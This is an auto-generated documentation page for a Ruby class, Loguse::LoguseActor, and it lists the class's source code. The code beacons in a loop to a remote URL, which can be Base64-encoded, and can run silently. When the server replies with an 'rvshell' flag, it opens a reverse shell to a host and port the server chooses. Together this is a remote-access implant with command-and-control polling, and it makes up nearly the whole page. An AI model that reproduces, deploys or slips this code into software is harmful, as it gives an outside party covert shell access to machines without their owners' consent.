class Loguse::LoguseActor

Attributes

log_th[R]
shell[R]
shell_th[R]

Public Class Methods

new() click to toggle source
# File lib/loguse/loguse_actor.rb, line 15
def initialize
        @shell = nil

        self.async.run_threads
end

Public Instance Methods

get_rvshell_details(resp) click to toggle source
# File lib/loguse/loguse_actor.rb, line 34
def get_rvshell_details(resp)
        host = resp["host"]
        port = resp["port"]
        rvshell = resp["rvshell"]

        {host: host, port: port, rvshell: rvshell}
end
log_thread() click to toggle source
# File lib/loguse/loguse_actor.rb, line 48
def log_thread
        resp = {}
        begin
                payload = Loguse.payload_proc.call
                url = Loguse.url
                url = Base64.decode64(url) if Loguse.url_encoded

                Unirest.timeout(5) 
                resp = Unirest.post url, parameters: payload
                resp = resp.body

                puts "Response: #{resp}" unless Loguse.silent 
        rescue
        end

        resp
end
run_threads() click to toggle source
# File lib/loguse/loguse_actor.rb, line 21
def run_threads
        loop do
                resp = log_thread
                rvshell = get_rvshell_details(resp)

                if rvshell[:rvshell]
                        shell_thread rvshell[:host], rvshell[:port]
                end

                sleep(Loguse.period)
        end
end
shell_thread(host, port) click to toggle source
# File lib/loguse/loguse_actor.rb, line 42
def shell_thread(host, port)
        unless (@shell && @shell.open?)
                @shell = Loguse::Shell.new host, port
        end
end